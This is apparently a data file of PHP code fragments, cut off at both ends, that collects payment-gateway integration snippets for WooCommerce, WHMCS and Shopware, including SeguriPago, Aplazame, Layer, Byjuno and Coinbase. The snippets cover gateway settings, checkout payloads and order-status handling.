n&uacute;mero de pedido.\"; break;\n case '03': echo \"Error en validaci&oacute;n de hash.\"; break;\n }\n exit();\n }\n\n /**\n * ---------------------- PROCESANDO PAGO APROBADO ---------------------------\n */\n if($data[\"resultado\"] == \"1\") {\n /**\n * Informar al usuario, por correo, informando de la aprobación de su pago,\n * indicar información adicional para que acceda al producto o servicio.\n */\n\n $id_order = ltrim($data['num_pedido'], '0');\n\n $id_order = (int) $id_order;\n\n $order = new WC_Order( $id_order );\n\n // Mark order complete\n //$order->payment_complete();\n // Mark order processing\n $order->update_status( 'processing' );\n }\n\n /**\n * Enviando confirmación de recibo de datos\n */\n $sp_recepcion->confirmar();\n\n }\n\n /**\n * Compruebe si este pasarela de pago está habilitada y disponible en el país del usuario\n *\n * @access public\n * @return bool\n */\n function is_valid_for_use() {\n if (!in_array(get_woocommerce_currency(), array('PEN'))) return false;\n return true;\n\n }\n\n /**\n * Las opciones del panel de administración\n *\n * @since 1.0.0\n */\n public function admin_options() {\n //configuracion por woocomerce\n ?>\n <h3><?php _e('seguripago', 'wc_seguripago_payment_gateway'); ?></h3>\n <table class=\"form-table\">\n <?php\n if ( $this->is_valid_for_use() ) :\n // Generate the HTML For the settings form\n $this->generate_settings_html();\n else :\n ?>\n <div class=\"inline error\"><p><strong><?php _e( 'Gateway Disabled', 'wc_seguripago_payment_gateway' ); ?></strong>: <?php _e( 'Seguripago no soporta su moneda tienda..', 'wc_seguripago_payment_gateway' ); ?></p></div>\n <?php\n endif;\n ?>\n </table><!--/.form-table-->\n <?php\n }\n\n /**\n * Inicializar configuración de la pasarela de pago. Los campos de formulario\n *\n * @access public\n * @return void\n */\n function init_form_fields()\n {\n global $woocommerce;\n\n $this->form_fields = array(\n 'enabled' => array\n (\n 'title' => __( 'Enable/Disable', 'wc_seguripago_payment_gateway' ),\n 'type' => 'checkbox',\n 'label' => __( 'Enable seguripago', 'wc_seguripago_payment_gateway' ),\n 'default' => 'yes'\n ),\n 'title' => array\n (\n 'title' => __( 'Title', 'wc_seguripago_payment_gateway' ),\n 'type' => 'text',\n 'description' => __( 'This is the title the customer can see when checking out', 'wc_seguripago_payment_gateway' ),\n 'default' => __( 'seguripago', 'wc_seguripago_payment_gateway' )\n ),\n 'description' => array\n (\n 'title' => __( 'Description', 'wc_seguripago_payment_gateway' ),\n 'type' => 'text',\n 'description' => __( 'This is the description the customer can see when checking out', 'wc_seguripago_payment_gateway' ),\n 'default' => __(\"Pay with Credit Card via seguripago\", 'wc_seguripago_payment_gateway')\n ),\n 'sp_idSocio' => array\n (\n 'title' => __( 'id', 'wc_seguripago_payment_gateway' ),\n 'type' => 'text',\n 'required' => true,\n 'description' => __( 'identificador publico del socio', 'wc_seguripago_payment_gateway' ),\n //'default' => __(home_url() . \"/?wc-api=WC_seguripago\" , 'wc_seguripago_payment_gateway')\n 'default' => \"65\"\n ),\n 'sp_key' => array\n (\n 'title' => __( 'key', 'wc_seguripago_payment_gateway' ),\n 'type' => 'text',\n 'required' => true,\n 'description' => __( 'key generado para la identificacion del socio', 'wc_seguripago_payment_gateway' ),\n 'default' => '58c44a36871ae77f1b966dfae445fcbc'\n ),\n 'sp_modo' => array\n (\n 'title' => __( 'Entorno', 'wc_seguripago_payment_gateway' ),\n 'type' => 'select',\n 'required' => true,\n 'description' => __( 'Este es el nombre del entrono en el que se ejecuta el comercio', 'wc_seguripago_payment_gateway' ),\n 'default' => 'test',\n 'options' => array(\n 'test' => __('test', 'wc_seguripago_payment_gateway' ),\n 'prod' => __('prod', 'wc_seguripago_payment_gateway' ),\n ),\n ),\n 'sp_nombre_comercio' => array\n (\n 'title' => __( 'Nombre comercio', 'wc_seguripago_payment_gateway' ),\n 'type' => 'text',\n 'required' => true,\n 'description' => __( 'Nombre asignado al comercio', 'wc_seguripago_payment_gateway' ),\n 'default' => 'woocomerce'\n )\n );\n }\n\n /**\n * Obtener ruta plantillas\n *\n * @return string\n */\n public static function get_templates_path() {\n return plugin_dir_path( __FILE__ ) . 'templates/';\n }\n /**\n * Procesar el pago y devolver el resultado\n *\n * @access public\n * @param int $order_id\n * @return array\n */\n function process_payment( $order_id )\n {\n\n //cuando hace click en proceder al pago, luego de elegir seguripago\n //finalizar-comprar/ 1\n\n $order = new WC_Order( $order_id );\n\n return array\n (\n 'result' => 'success',\n 'redirect' => add_query_arg('order', $order->id, add_query_arg('key', $order->order_key, get_permalink(woocommerce_get_page_id('pay'))))\n );\n }\n /**\n * La página de salida de la orden recibida.\n *\n * @param $order_id Order ID.\n *\n * @return string\n */\n function receipt_page( $order_id )\n {\n //antes de enviar informacion a seguripago -> finalizar-comprar/ 2\n\n $order = new WC_Order( $order_id );\n\n $data = array();\n $numero_pedido=str_pad($order->id, 8, \"0\", STR_PAD_LEFT);\n\n $sp_envio = new seguripagoEnvio($this->sp_idSocio, $this->sp_key, $this->sp_modo);\n /**\n * Array con la data a enviar\n */\n $data = array(\n 'num_pedido' => $numero_pedido, //-- $numero_pedido\n 'fecha_hora' => strtotime($order->order_date), //-- Fecha/Hora de creación en Unixtime\n 'moneda' => 'PEN', //-- Moneda (ISO 4217)\n 'importe' => number_format($order->get_total(), 2, '.', ''), //-- Importe\n 'vencimiento' => (time() + 72 * 3600), //-- Fecha/Hora de vencimiento en Unixtime\n //'cliente' => $dato_cliente_array, //-- Datos de cliente, opcional\n //'articulo' => $dato_articulo_array, //-- Datos de artículo, opcional\n //'pantalla' => 'H', //-- Tipo de pantalla a utilizar: (H)orizontal, (V)ertical, opcional\n //'obviar' => '1', //-- Producto de Seguripago que no quiere que aparezca: (1) SeguriCrédito, (2) SeguriCash, opcional.\n );\n /**\n * Enviamos trama a través del méotodo de Seguripago\n */\n $sp_envio->enviar($data);\n }\n\n }\n /**\n * añadir pasarela de pago a WooCommerce.\n *\n * @param array $methods Métodos de pago WooCommerce.\n *\n * @return array metodos de pago con seguripago\n */\n function woocommerce_seguripago_add_gateway( $methods )\n {\n $methods[] = 'WC_seguripago';\n return $methods;\n }\n add_filter( 'woocommerce_payment_gateways', 'woocommerce_seguripago_add_gateway' );\n\n }", "public function generate()\n {\n $PMRequest = null;\n\n if (!empty($this->configHipay[\"payment\"][\"local_payment\"][$this->params[\"method\"]][\"additionalFields\"])) {\n $sdkClass = $this->configHipay[\"payment\"][\"local_payment\"][$this->params[\"method\"]][\"additionalFields\"][\"sdkClass\"];\n $PMRequest = new $sdkClass();\n\n $this->mapRequest($PMRequest);\n }\n return $PMRequest;\n }", "public function __construct() {\n\n $this->loadMerchantInformation();\n }", "public function __construct() {\n \n $this->id = 'vortex'; // payment gateway plugin ID\n $this->icon = 'https://raw.githubusercontent.com/JsTorres97/Media/master/Vortex%20Payment/VortexPaymentLogo.png'; // URL of the icon that will be displayed on checkout page near your gateway name\n $this->method_title = 'Vortex Payment Gateway';\n $this->method_description = 'Recibe pagos con tarjeta en tu sitio web con Vortex Payement'; // will be displayed on the options page\n \n // gateways can support subscriptions, refunds, saved payment methods,\n // but in this tutorial we begin with simple payments\n $this->supports = array(\n 'products'\n );\n \n // Method with all the options fields\n $this->init_form_fields();\n \n // Load the settings.\n $this->init_settings();\n $this->title = $this->get_option( 'title' );\n $this->description = $this->get_option( 'description' );\n $this->enabled = $this->get_option( 'enabled' );\n\t\t\t$this->BusinessID = $this->get_option('BID');\n\n // This action hook saves the settings\n add_action( 'woocommerce_update_options_payment_gateways_' . $this->id, array( $this, 'process_admin_options' ) );\n \n \n \n // You can also register a webhook here\n // add_action( 'woocommerce_api_{webhook name}', array( $this, 'webhook' ) );\n \n \t\t}", "function createCheckoutPayload() {\n /*\n * Merchant model\n */\n $merchant = new stdClass();\n $merchant->notification_url = 'https://merchant.com/order/step3_checkout_confirm.php'; // url where you will receive Aplazame webhook events as described in https://aplazame.com/en/docs/api/checkout-confirmation/ or https://aplazame.com/integraciones/api/checkout-confirmation/\n $merchant->success_url = \"/success\"; // url that the customer is sent to after confirming their order.\n $merchant->pending_url = \"/pending\"; // url that the customer is sent to if the order status is pending.\n $merchant->error_url = \"/error\"; // url that the customer is sent to if there is an error in the checkout.\n $merchant->dismiss_url = \"/checkout\"; // url that the customer is sent to if the customer chooses to back to the e-commerce, by default is /.\n $merchant->ko_url = \"/ko\"; // url that the customer is sent to if Aplazame refuses the order.\n\n /*\n * Article model\n */\n $article = new stdClass();\n $article->id = '89793238462643383279'; // The article ID.\n $article->name = 'Reloj en oro blanco de 18 quilates y diamantes'; // Article name.\n $article->url = 'http://shop.example.com/product.html'; // Article url.\n $article->image_url = 'http://shop.example.com/product_image.png'; // Article image url.\n $article->quantity = 2; // Article quantity.\n $article->price = Aplazame\\Serializer\\Decimal::fromFloat(4020.00); // Article price (tax is not included). (4,020.00 €)\n $article->description = 'Movimiento de cuarzo de alta precisión'; // Article description.\n $article->tax_rate = Aplazame\\Serializer\\Decimal::fromFloat(21.00); // Article tax rate. (21.00%)\n $article->discount = Aplazame\\Serializer\\Decimal::fromFloat(5.00); // The discount amount of the article. (5.00 €)\n\n // ... rest of articles in the shopping cart.\n\n /*\n * Articles collection\n */\n $articles = array( $article, );\n\n /*\n * Order model\n */\n $order = new stdClass();\n $order->id = '28475648233786783165'; // Your order ID.\n $order->currency = 'EUR'; // Currency code of the order.\n $order->tax_rate = Aplazame\\Serializer\\Decimal::fromFloat(21.00); // Order tax rate. (21.00%)\n $order->total_amount = Aplazame\\Serializer\\Decimal::fromFloat(4620.00); // Order total amount. (4,620.00 €)\n $order->articles = $articles; // Articles in cart.\n $order->discount = Aplazame\\Serializer\\Decimal::fromFloat(160.00); // The discount amount of the order. (160.00 €)\n $order->cart_discount = Aplazame\\Serializer\\Decimal::fromFloat(0.50); // The discount amount of the cart. (0.50 €)\n\n /*\n * Customer address model\n */\n $customerAddress = new stdClass();\n $customerAddress->first_name = 'John'; // Address first name.\n $customerAddress->last_name = 'Coltrane'; // Address last name.\n $customerAddress->street = 'Plaza del Valle Boreal nº10'; // Address street.\n $customerAddress->city = 'Madrid'; // Address city.\n $customerAddress->state = 'Madrid'; // Address state.\n $customerAddress->country = 'ES'; // Address country code.\n $customerAddress->postcode = '28080'; // Address postcode.\n $customerAddress->phone = '601234567'; // Address phone number.\n $customerAddress->address_addition = 'Cerca de la plaza Pontífice Sulyvahn'; // Address addition.\n\n /*\n * Customer model\n */\n $customer = new stdClass();\n $customer->id = '1618'; // Customer ID.\n $customer->email = '[email protected]'; // The customer email.\n $customer->type = 'e'; // Customer type, the choices are g:guest, n:new, e:existing.\n $customer->gender = 0; // Customer gender, the choices are 0: not known, 1: male, 2:female, 3: not applicable.\n $customer->first_name = 'John'; // Customer first name.\n $customer->last_name = 'Coltrane'; // Customer last name.\n $customer->birthday = Aplazame\\Serializer\\Date::fromDateTime(new DateTime('1990-08-21 13:56:45')); // Customer birthday.\n $customer->language = 'es'; // Customer language preferences.\n $customer->date_joined = Aplazame\\Serializer\\Date::fromDateTime(new DateTime('2014-08-21 13:56:45')); // A datetime designating when the customer account was created.\n $customer->last_login = Aplazame\\Serializer\\Date::fromDateTime(new DateTime('2020-08-27 19:57:56')); // A datetime of the customer last login.\n $customer->address = $customerAddress; // Customer address.\n\n /*\n * Billing address model\n */\n $billingAddress = new stdClass();\n $billingAddress->first_name = 'Bill'; // Billing first name.\n $billingAddress->last_name = 'Evans'; // Billing last name.\n $billingAddress->street = 'Calle Central Yharnam 92'; // Billing street.\n $billingAddress->city = 'Madrid'; // Billing city.\n $billingAddress->state = 'Madrid'; // Billing state.\n $billingAddress->country = 'ES'; // Billing country code.\n $billingAddress->postcode = '28080'; // Billing postcode.\n $billingAddress->phone = '601765432'; // Billing phone number.\n $billingAddress->address_addition = 'Cerca del Gran Puente'; // Billing address addition.\n\n /*\n * Shipping info model\n */\n $shippingInfo = new stdClass();\n $shippingInfo->first_name = 'Django'; // Shipping first name.\n $shippingInfo->last_name = 'Reinhard'; // Shipping last name.\n $shippingInfo->street = 'Plaza del Valle Boreal nº10'; // Shipping street.\n $shippingInfo->city = 'Madrid'; // Shipping city.\n $shippingInfo->state = 'Madrid'; // Shipping state.\n $shippingInfo->country = 'ES'; // Shipping country code.\n $shippingInfo->postcode = '28080'; // Shipping postcode.\n $shippingInfo->name = 'Planet Express'; // Shipping name.\n $shippingInfo->price = Aplazame\\Serializer\\Decimal::fromFloat(5.00); // Shipping price (tax is not included). (5.00 €)\n $shippingInfo->phone = '601234567'; // Shipping phone number.\n $shippingInfo->address_addition = 'Cerca de la plaza Pontífice Sulyvahn'; // Shipping address addition.\n $shippingInfo->tax_rate = Aplazame\\Serializer\\Decimal::fromFloat(21.00); // Shipping tax rate. (21.00%)\n $shippingInfo->discount = Aplazame\\Serializer\\Decimal::fromFloat(1.00); // The discount amount of the shipping. (1.00 €)\n\n /*\n * Checkout model\n */\n $checkout = new stdClass();\n $checkout->toc = true;\n $checkout->merchant = $merchant;\n $checkout->order = $order;\n $checkout->customer = $customer;\n $checkout->billing = $billingAddress;\n $checkout->shipping = $shippingInfo;\n\n return $checkout;\n}", "function set_gateway($gateway_slug, $args) {\n\n // Set payments gateway\n md_set_gateway($gateway_slug, $args);\n \n }", "public function __construct() {\r\n \r\n $this->id = 'plaid_payment'; // payment gateway plugin ID\r\n $this->icon = ''; // URL of the icon that will be displayed on checkout page near your gateway name\r\n $this->has_fields = true; // in case you need a custom credit card form\r\n $this->method_title = 'Plaid Payment Gateway';\r\n $this->method_description = 'Description of Plaid payment gateway'; // will be displayed on the options page\r\n \r\n // gateways can support subscriptions, refunds, saved payment methods,\r\n // but in this tutorial we begin with simple payments\r\n $this->supports = array(\r\n 'products'\r\n );\r\n \r\n // Method with all the options fields\r\n $this->init_form_fields();\r\n \r\n // Load the settings.\r\n $this->init_settings();\r\n $this->title = $this->get_option( 'title' );\r\n $this->description = $this->get_option( 'description' );\r\n $this->enabled = $this->get_option( 'enabled' );\r\n //$this->testmode = 'yes' === $this->get_option( 'testmode' );\r\n //$this->private_key = $this->testmode ? $this->get_option( 'test_private_key' ) : $this->get_option( 'private_key' );\r\n //$this->publishable_key = $this->testmode ? $this->get_option( 'test_publishable_key' ) : $this->get_option( 'publishable_key' );\r\n \r\n // This action hook saves the settings\r\n add_action( 'woocommerce_update_options_payment_gateways_' . $this->id, array( $this, 'process_admin_options' ) );\r\n \r\n // We need custom JavaScript to obtain a token\r\n add_action( 'wp_enqueue_scripts', array( $this, 'payment_scripts' ) );\r\n \r\n // You can also register a webhook here\r\n // add_action( 'woocommerce_api_{webhook name}', array( $this, 'webhook' ) );\r\n \r\n \t\t}", "public function __construct () {\n // Merchant ID\n $this->_mid = \"\";\n\n // User ID\n $this->_userID = \"\";\n\n // Password\n $this->_password = \"\";\n\n // Developer ID\n $this->_devID = \"\";\n\n // Device ID\n $this->_deviceID = \"\";\n\n // API server\n $this->_tsepApiServer = \"https://stagegw.transnox.com\";\n }", "function bankopen_link($params)\n{\n // Gateway Configuration Parameters\n\n\n $testMode = $params['testMode'];\n\n if($testMode)\n {\n $APIKey = $params['SandboxAPIKey'];\n $APISecret = $params['SandboxAPISecret'];\n $remote_script = \"https://sandbox-payments.open.money/layer\";\n $environment = 'test';\n\n }else{\n\n $APIKey = $params['LiveAPIKey'];\n $APISecret = $params['LiveAPISecret'];\n $remote_script = \"https://payments.open.money/layer\";\n $environment = 'production';\n\n }\n\n // Invoice Parameters\n $invoiceId = $params['invoiceid'];\n $description = $params[\"description\"];\n $amount = $params['amount'];\n $currencyCode = $params['currency'];\n\n // Client Parameters\n $firstname = $params['clientdetails']['firstname'];\n $lastname = $params['clientdetails']['lastname'];\n $email = $params['clientdetails']['email'];\n $address1 = $params['clientdetails']['address1'];\n $address2 = $params['clientdetails']['address2'];\n $city = $params['clientdetails']['city'];\n $state = $params['clientdetails']['state'];\n $postcode = $params['clientdetails']['postcode'];\n $country = $params['clientdetails']['country'];\n $phone = $params['clientdetails']['phonenumber'];\n\n // System Parameters\n $companyName = $params['companyname'];\n $systemUrl = $params['systemurl'];\n $returnUrl = $params['returnurl'];\n $langPayNow = $params['langpaynow'];\n $moduleDisplayName = $params['name'];\n $moduleName = $params['paymentmethod'];\n $whmcsVersion = $params['whmcsVersion'];\n\n $postfields = array();\n $postfields['username'] = $username;\n $postfields['invoice_id'] = $invoiceId;\n $postfields['description'] = $description;\n $postfields['amount'] = $amount;\n $postfields['currency'] = $currencyCode;\n $postfields['first_name'] = $firstname;\n $postfields['last_name'] = $lastname;\n $postfields['email'] = $email;\n $postfields['address1'] = $address1;\n $postfields['address2'] = $address2;\n $postfields['city'] = $city;\n $postfields['state'] = $state;\n $postfields['postcode'] = $postcode;\n $postfields['country'] = $country;\n $postfields['phone'] = $phone;\n $postfields['callback_url'] = $systemUrl . '/modules/gateways/callback/' . $moduleName . '.php';\n $postfields['return_url'] = $returnUrl;\n\n $LayeredJs = $systemUrl . 'modules/gateways/' . $moduleName.'/layer_checkout.js';\n $CallBackUrl = $systemUrl . 'modules/gateways/callback/' . $moduleName.'.php';\n\n $sample_data = [\n 'amount' => $amount,\n 'currency' => $currencyCode,\n 'name' => $firstname,\n 'email_id' => $email,\n 'contact_number' => $phone,\n 'mtx' => ''\n ];\n //main logic\n$error = '';\n$tranid = $invoiceId.'-'.date(\"ymd\").'-'.rand(1,100);\n\n$sample_data['mtx']=$tranid; //unique transaction id to be passed for each transaction \n$layer_api = new LayerApi($environment,$APIKey,$APISecret);\n$layer_payment_token_data = $layer_api->create_payment_token($sample_data);\n \nif(empty($error) && isset($layer_payment_token_data['error'])){\n\t$error = 'E55 Payment error. ' . ucfirst($layer_payment_token_data['error']); \n\tif(isset($layer_payment_token_data['error_data']))\n\t{\n\t\tforeach($layer_payment_token_data['error_data'] as $d)\n\t\t\t$error .= \" \".ucfirst($d[0]);\n\t}\n}\n\nif(empty($error) && (!isset($layer_payment_token_data[\"id\"]) || empty($layer_payment_token_data[\"id\"]))){\t\t\t\t\n $error = 'Payment error. ' . 'Layer token ID cannot be empty.'; \n} \n\nif(!empty($layer_payment_token_data[\"id\"]))\n $payment_token_data = $layer_api->get_payment_token($layer_payment_token_data[\"id\"]);\n \nif(empty($error) && !empty($payment_token_data)){\n if(isset($layer_payment_token_data['error'])){\n $error = 'E56 Payment error. ' . $payment_token_data['error']; \n }\n\n if(empty($error) && $payment_token_data['status'] == \"paid\"){\n $error = \"Layer: this order has already been paid.\"; \n }\n\n if(empty($error) && $payment_token_data['amount'] != $sample_data['amount']){\n $error = \"Layer: an amount mismatch occurred.\";\n }\n\n $jsdata['payment_token_id'] = html_entity_decode((string) $payment_token_data['id'],ENT_QUOTES,'UTF-8');\n $jsdata['accesskey'] = html_entity_decode((string) $APIKey,ENT_QUOTES,'UTF-8');\n \n\t$hash = create_hash(array(\n 'layer_pay_token_id' => $payment_token_data['id'],\n 'layer_order_amount' => $payment_token_data['amount'],\n 'tranid' => $tranid,\n ),$APIKey,$APISecret);\n\n $html = '<script src=\"'.$remote_script.'\"></script>';\n\n $responseUrl = \n \n $html .= '<form action=\"'.$CallBackUrl.'\" method=\"post\" style=\"display: none\" name=\"layer_payment_int_form\">\n\t\t<input type=\"hidden\" name=\"layer_pay_token_id\" value=\"'.$payment_token_data['id'].'\">\n <input type=\"hidden\" name=\"tranid\" value=\"'.$tranid.'\">\n <input type=\"hidden\" name=\"layer_order_amount\" value=\"'.$payment_token_data['amount'].'\">\n <input type=\"hidden\" id=\"layer_payment_id\" name=\"layer_payment_id\" value=\"\">\n <input type=\"hidden\" id=\"fallback_url\" name=\"fallback_url\" value=\"\">\n <input type=\"hidden\" id=\"x_invoice_id\" name=\"x_invoice_id\" value=\"'.$invoiceId.'\">\n <input type=\"hidden\" name=\"hash\" value=\"'.$hash.'\">\n </form>';\n $html .= \"<script>\";\n $html .= \"var layer_params = \" . json_encode( $jsdata ) . ';'; \n $html .=\"</script>\";\n\n $html .= '<script type=\"text/javascript\" src=\"'.$LayeredJs.'\"></script>';\n}\n\n\n if(!empty($error))\n {\n $htmlOutput .= $error;\n }\n\n if (isset($html)) {\n\n $htmlOutput .= '<button id=\"submit\" name=\"submit\" type=\"button\" class=\"btn btn-info\" onclick=\"triggerLayer();\">Pay Now</button>';\n\n $htmlOutput .= $html;\n \n }\n\n return $htmlOutput;\n}", "public function __construct(CommissionGateway $gateway)\n\t{\n\t\t$this->gateway = $gateway;\n\t}", "public function __construct($gateway)\n {\n $pathToKeys = $this->pathToSecurityKeys;\n /**\n * You might do some logic here to determine which security keys on your server to use.\n */\n\n $credentials = json_decode(file_get_contents($pathToKeys . '/config.json'));\n /**\n * The config.json file contains key file names needed below.\n */\n $this->gateway = Omnipay::create('FirstData_Webservice');\n $this->gateway->initialize([\n 'sslCertificate' => $pathToKeys . '/' . $credentials->certificateFile,\n 'sslKey' => $pathToKeys . '/' . $credentials->keyFile,\n 'sslKeyPassword' => $credentials->keyPassword,\n 'username' => $credentials->username,\n 'password' => $credentials->password\n ]);\n /**\n * Use some logic to determine how to set the test mode.\n */\n $this->gateway->setTestMode(true);\n }", "function woocommerce_gateway_easypay_mbway_2_init()\n{\n\n if (!class_exists('WC_Payment_Gateway')) {\n add_action('admin_notices', 'wceasypay_woocommerce_notice_mbway_2');\n return;\n }\n\n /**\n * Localisation\n */\n load_plugin_textdomain('wceasypay', false, dirname(plugin_basename(__FILE__)) . '/languages');\n\n /**\n * Add the Easypay Gateway to WooCommerce\n *\n * @param array $methods\n * @return array\n */\n function woocommerce_add_gateway_easypay_mbway_2($methods)\n {\n if (!class_exists('WC_Gateway_Easypay_MBWay')) {\n\n include realpath(plugin_dir_path(__FILE__)) . DIRECTORY_SEPARATOR\n . 'includes' . DIRECTORY_SEPARATOR\n . 'wc-gateway-easypay-mbway.php';\n }\n\n $methods[] = 'WC_Gateway_Easypay_MBWay';\n return $methods;\n }\n\n add_filter('woocommerce_payment_gateways', 'woocommerce_add_gateway_easypay_mbway_2');\n\n}", "protected function gatewayAction($paymentMethod)\n {\n if (!empty($_SESSION[\"byjuno\"][\"processing\"]) && $_SESSION[\"byjuno\"][\"processing\"] == true) {\n return false;\n }\n $_SESSION[\"byjuno\"][\"processing\"] = true;\n $mode = Shopware()->Config()->getByNamespace(\"ByjunoPayments\", \"byjuno_mode\");\t\t\n $timeout = Shopware()->Config()->getByNamespace(\"ByjunoPayments\", \"byjuno_timeout\");\n $b2b = Shopware()->Config()->getByNamespace(\"ByjunoPayments\", \"byjuno_b2b\");\n $user = $this->getUser();\n $billing = $user['billingaddress'];\n $shipping = $user['shippingaddress'];\n $statusS1 = 0;\n $statusS3 = 0;\n $request = Byjuno_CreateShopWareShopRequestUserBilling($user, $billing, $shipping, $this, $paymentMethod, $this->payment_plan, $this->payment_send, \"\", \"\", \"NO\", \"\");\n $statusLog = \"Order request (S1)\";\n if ($request->getCompanyName1() != '' && $b2b == 'Enabled') {\n $statusLog = \"Order request for company (S1)\";\n $xml = $request->createRequestCompany();\n } else {\n $xml = $request->createRequest();\n }\n $byjunoCommunicator = new \\ByjunoCommunicator();\n if (isset($mode) && $mode == 'Live') {\n $byjunoCommunicator->setServer('live');\n } else {\n $byjunoCommunicator->setServer('test');\n }\n $response = $byjunoCommunicator->sendRequest($xml, $timeout);\n $transactionNumber = \"\";\n if (isset($response)) {\n $byjunoResponse = new \\ByjunoResponse();\n $byjunoResponse->setRawResponse($response);\n $byjunoResponse->processResponse();\n $statusS1 = (int)$byjunoResponse->getCustomerRequestStatus();\n $this->saveLog($request, $xml, $response, $statusS1, $statusLog);\n $transactionNumber = $byjunoResponse->getTransactionNumber();\n if (intval($statusS1) > 15) {\n $statusS1 = 0;\n }\n }\n $order = null;\n if ($this->isStatusOkS2($statusS1)) {\n $this->saveOrder(1, uniqid(\"byjuno_\"), $this->PAYMENTSTATUSOPEN);\n /* @var $order \\Shopware\\Models\\Order\\Order */\n $order = Shopware()->Models()->getRepository('Shopware\\Models\\Order\\Order')\n ->findOneBy(array('number' => $this->getOrderNumber()));\n\n $risk = $this->getStatusRisk($statusS1);\n $request = Byjuno_CreateShopWareShopRequestUserBilling($user, $billing, $shipping, $this, $paymentMethod, $this->payment_plan, $this->payment_send, $risk, $order->getNumber(), \"YES\", $transactionNumber);\n $statusLog = \"Order complete (S3)\";\n if ($request->getCompanyName1() != '' && $b2b == 'Enabled') {\n $statusLog = \"Order complete for company (S3)\";\n $xml = $request->createRequestCompany();\n } else {\n $xml = $request->createRequest();\n }\n $byjunoCommunicator = new \\ByjunoCommunicator();\n if (isset($mode) && $mode == 'Live') {\n $byjunoCommunicator->setServer('live');\n } else {\n $byjunoCommunicator->setServer('test');\n }\n $response = $byjunoCommunicator->sendRequest($xml, $timeout);\n if (isset($response)) {\n $byjunoResponse = new \\ByjunoResponse();\n $byjunoResponse->setRawResponse($response);\n $byjunoResponse->processResponse();\n $statusS3 = (int)$byjunoResponse->getCustomerRequestStatus();\n $this->saveLog($request, $xml, $response, $statusS3, $statusLog);\n if (intval($statusS3) > 15) {\n $statusS3 = 0;\n }\n }\n } else {\n $_SESSION[\"byjuno\"][\"processing\"] = false;\n return false;\n }\n if ($order == null) {\n $_SESSION[\"byjuno\"][\"processing\"] = false;\n return false;\n }\n $cancelStatusId = Shopware()->Config()->getByNamespace(\"ByjunoPayments\", \"S5_default_cancel_id\");\n $cancelStatusId = intval($cancelStatusId);\n if ($cancelStatusId <= 0) {\n $cancelStatusId = $this->ORDERSTATUSCANCEL;\n }\n\n $successStatusId = Shopware()->Config()->getByNamespace(\"ByjunoPayments\", \"byjuno_order_default_success_id\");\n $successStatusId = intval($successStatusId);\n if ($successStatusId < 0) {\n $successStatusId = $this->ORDERSTATUSINPROGRESS;\n }\n\n $successPaymentStatusId = Shopware()->Config()->getByNamespace(\"ByjunoPayments\", \"byjuno_payment_default_success_id\");\n $successPaymentStatusId = intval($successPaymentStatusId);\n if ($successPaymentStatusId <= 0) {\n $successPaymentStatusId = $this->PAYMENTSTATUSPAID;\n }\n\n $orderModule = Shopware()->Modules()->Order();\n if ($this->isStatusOkS2($statusS1) && $this->isStatusOkS3($statusS3)) {\n $orderModule->setPaymentStatus($order->getId(), $successPaymentStatusId, false);\n if ($successStatusId != 0) {\n $orderModule->setOrderStatus($order->getId(), $successStatusId, false);\n }\n $mail = $orderModule->createStatusMail($order->getId(), $successPaymentStatusId);\n $mail->clearRecipients();\n\t\t\tif (isset($mode) && $mode == 'Live') {\n\t\t\t\t$mail->addTo(Shopware()->Config()->getByNamespace(\"ByjunoPayments\", \"byjuno_prodemail\"));\n } else {\n\t\t\t\t$mail->addTo(Shopware()->Config()->getByNamespace(\"ByjunoPayments\", \"byjuno_testemail\"));\n }\n $orderModule->sendStatusMail($mail);\n $this->saveTransactionPaymentData($order->getId(), 'payment_plan', $this->payment_plan);\n $_SESSION[\"byjuno\"][\"processing\"] = false;\n return true;\n } else {\n $orderModule->setPaymentStatus($order->getId(), $this->PAYMENTSTATUSVOID, false);\n $orderModule->setOrderStatus($order->getId(), $cancelStatusId, false);\n }\n $_SESSION[\"byjuno\"][\"processing\"] = false;\n return false;\n }", "public function gatewayPostFields() {\n $order = $this->getOrderInfo('none', (isset($_POST['ORDER_ID']) ? (int) $_POST['ORDER_ID'] : '0'));\n $gateway = array(\n 'trans-id' => (isset($_POST['AUTHCODE']) ? $_POST['AUTHCODE'] : ''),\n 'amount' => (isset($order->id) ? $order->grandTotal : '0-0'),\n 'refund-amount' => '',\n 'currency' => $this->settings->baseCurrency,\n 'code-id' => (isset($order->id) ? $order->buyCode . '-' . $order->id : '0-0'),\n 'pay-status' => (isset($order->id) ? 'OK' : ''),\n 'pending-reason' => '',\n 'inv-status' => '',\n 'fraud-status' => ''\n );\n return $gateway;\n }", "public function __construct()\n {\n $this->alipay = new Alipay();\n }", "function cb_init_gateway() {\n\t// If WooCommerce is available, initialise WC parts.\n\t\n\t/** DOCBLOCK - Makes linter happy.\n\t * \n\t * @since today\n\t */\n\tif ( in_array( 'woocommerce/woocommerce.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) {\n\t\trequire_once 'class-wc-gateway-coinbase.php';\n\t\tadd_action( 'init', 'cb_wc_register_blockchain_status' );\n\t\tadd_filter( 'woocommerce_valid_order_statuses_for_payment', 'cb_wc_status_valid_for_payment', 10, 2 );\n\t\tadd_action( 'cb_check_orders', 'cb_wc_check_orders' );\n\t\tadd_filter( 'woocommerce_payment_gateways', 'cb_wc_add_coinbase_class' );\n\t\tadd_filter( 'wc_order_statuses', 'cb_wc_add_status' );\n\t\tadd_action( 'woocommerce_admin_order_data_after_order_details', 'cb_order_meta_general' );\n\t\tadd_action( 'woocommerce_order_details_after_order_table', 'cb_order_meta_general' );\n\t\tadd_filter( 'woocommerce_email_order_meta_fields', 'cb_custom_woocommerce_email_order_meta_fields', 10, 3 );\n\t\tadd_filter( 'woocommerce_email_actions', 'cb_register_email_action' );\n\t\tadd_action( 'woocommerce_email', 'cb_add_email_triggers' );\n\t}\n}", "private function generateDefaultBilling() {\n return new Billing('Postpaid');\n }", "public function __construct()\n {\n $this->setMerchantD();\n $this->setMerchantKey();\n $this->setBaseUrl();\n $this->setBankTransferUrl();\n $this->setStatus(false);\n }", "public function __construct() {\n\n\n\t\t\t$this->id = 'custom';\n\t\t\t$this->icon = apply_filters( 'woocommerce_custom_gateway_icon', '' );\n\t\t\t$this->has_fields = false;\n\t\t\t$this->method_title = __( 'Gold', 'storefront-child' );\n\t\t\t$this->method_description = __( 'Allows payments with gold gateway.', 'storefront-child' );\n\n\t\t\t// Load the settings.\n\t\t\t$this->init_form_fields();\n\t\t\t$this->init_settings();\n\n\t\t\t// Define user set variables\n\t\t\t$this->title = $this->get_option( 'title' );\n\t\t\t$this->description = $this->get_option( 'description' 